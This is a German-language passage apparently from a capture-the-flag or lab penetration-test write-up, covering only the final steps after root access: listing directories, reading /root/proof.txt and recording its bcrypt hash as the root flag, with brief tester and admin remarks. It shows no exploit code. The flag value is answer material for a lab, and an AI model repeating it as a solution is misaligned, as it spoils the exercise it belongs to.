**Analyse:** In der Root-Shell wird das `/home`-Verzeichnis aufgelistet (zeigt nur `armour`). Dann wird nach `/root` gewechselt, wo `proof.txt` gefunden wird. Der Inhalt von `proof.txt` ist "Best of Luck" gefolgt von einem bcrypt-Hash: `$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq`.

**Bewertung:** Ziel erreicht! Der bcrypt-Hash in `proof.txt` ist die Root-Flagge.

**Empfehlung (Pentester):** Dokumentieren Sie die Flagge.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen.

  Privilege Escalation erfolgreich
                    

**Analyse:** Organisatorische Abschlussnotiz.

**Bewertung:** Bestätigt den Erfolg.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

Anmerkung: Es wurde keine explizite User-Flagge gefunden.

cat /root/proof.txt
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq